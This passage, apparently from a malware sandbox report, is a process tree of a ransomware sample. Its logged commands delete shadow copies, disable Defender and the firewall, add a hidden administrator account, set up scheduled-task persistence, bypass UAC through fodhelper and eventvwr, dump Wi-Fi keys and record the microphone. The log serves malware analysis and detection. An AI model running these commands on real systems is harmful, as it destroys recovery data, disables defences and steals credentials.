                                                                                                                                              2⤵
                                                                                                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                              PID:8500
                                                                                                                                            • C:\Windows\System32\vssadmin.exe
                                                                                                                                              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                              2⤵
                                                                                                                                              • Interacts with shadow copies
                                                                                                                                              PID:9272
                                                                                                                                            • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                              2⤵
                                                                                                                                                PID:9296
                                                                                                                                              • C:\Windows\System32\net.exe
                                                                                                                                                "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                                2⤵
                                                                                                                                                  PID:9932
                                                                                                                                                • C:\Windows\System32\netsh.exe
                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                  2⤵
                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                  PID:10408
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:4736
                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                    2⤵
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:4388
                                                                                                                                                  • C:\Windows\System32\cmstp.exe
                                                                                                                                                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\eb5afff7-c97a-40a5-973a-4bb6c7284bf7.inf
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3164
                                                                                                                                                    • C:\Windows\System32\eventvwr.exe
                                                                                                                                                      "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2896
                                                                                                                                                        • C:\Windows\system32\mmc.exe
                                                                                                                                                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:888
                                                                                                                                                        • C:\Windows\System32\fodhelper.exe
                                                                                                                                                          "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:3340
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3200
                                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                                  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                  PID:528
                                                                                                                                                                • C:\Windows\System32\cmstp.exe
                                                                                                                                                                  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\dc30fa34-2aaa-4dd4-872c-9863702dcc28.inf
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:4908
                                                                                                                                                                  • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                    "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:3236
                                                                                                                                                                      • C:\Windows\system32\mmc.exe
                                                                                                                                                                        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:2296
                                                                                                                                                                      • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                        "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:3440
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:5816
                                                                                                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                PID:5340
                                                                                                                                                                              • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\25a22cf1-5be0-47ea-b419-83bfd2dbe403.inf
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:5176
                                                                                                                                                                                • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                  "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:4564
                                                                                                                                                                                    • C:\Windows\system32\mmc.exe
                                                                                                                                                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:3792
                                                                                                                                                                                    • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                      "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:5212
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:6248
                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                              8⤵
                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                              PID:1756
                                                                                                                                                                                            • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a8c7d04d-7aa2-41a1-ab46-0823820d7bed.inf
                                                                                                                                                                                              8⤵
                                                                                                                                                                                                PID:5984
                                                                                                                                                                                              • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                8⤵
                                                                                                                                                                                                  PID:6724
                                                                                                                                                                                                  • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                      PID:4008
                                                                                                                                                                                                  • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                      PID:6780
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                          PID:7128
                                                                                                                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                            PID:7268
                                                                                                                                                                                                          • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9655a7e6-7104-403d-a284-90f66dc918f5.inf
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                              PID:7472
                                                                                                                                                                                                            • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                PID:7500
                                                                                                                                                                                                                • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                    PID:7568
                                                                                                                                                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                    PID:7640
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                        PID:7400
                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                          PID:8952
                                                                                                                                                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1c3717b5-2fac-46ea-908b-ebbc910f1583.inf
                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                            PID:9096
                                                                                                                                                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                              PID:8116
                                                                                                                                                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                  PID:6240
                                                                                                                                                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                  PID:8224
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                      PID:5256
                                                                                                                                                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                        PID:10812
                                                                                                                                                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ae5dc0e3-5f2d-4d8d-a4e6-c96749d7643e.inf
                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                          PID:11112
                                                                                                                                                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                            PID:8384
                                                                                                                                                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                PID:8232
                                                                                                                                                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                PID:9512
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                    PID:2688
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                  PID:11200
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:9660
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                    PID:9260
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                              PID:8228
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                              PID:10020
                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:9532
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                                PID:10008
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                    PID:9436
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                              PID:7648
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                              PID:3028
                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:8720
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                PID:9212
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                    PID:8800
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                              PID:2432
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                              PID:3772
                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:7776
                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                PID:7952
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                    PID:7584
                                                                                                                                                                                                                                                • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                  "notepad.exe"
                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                    PID:9628
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                PID:6048
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                PID:6432
                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:7124
                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:6492
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                      PID:4284
                                                                                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                    "notepad.exe"
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:8640
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                  PID:2256
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                  PID:3224
                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                    PID:6076
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:1104
                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:5140
                                                                                                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                      "notepad.exe"
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:2540
                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286809841057.wav')"
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                        PID:6528
                                                                                                                                                                                                                                                      • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                        "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                        PID:10168
                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                    PID:1828
                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                    PID:4056
                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                      PID:932
                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:5388
                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:5880
                                                                                                                                                                                                                                                      • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                        "notepad.exe"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:7080
                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286732497907.wav')"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                          PID:8840
                                                                                                                                                                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                          "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                          PID:964
                                                                                                                                                                                                                                                        • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Interacts with shadow copies
                                                                                                                                                                                                                                                          PID:2484
                                                                                                                                                                                                                                                        • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:8792
                                                                                                                                                                                                                                                          • C:\Windows\System32\net.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:9408
                                                                                                                                                                                                                                                            • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                                                                              PID:10344
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:1716
                                                                                                                                                                                                                                                              • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                PID:4284
                                                                                                                                                                                                                                                              • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5d8d3882-b552-407c-971f-80bf8dd0ce39.inf
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:3772
                                                                                                                                                                                                                                                                • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:3412
                                                                                                                                                                                                                                                                    • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:3528
                                                                                                                                                                                                                                                                    • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:4484
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:4892
                                                                                                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
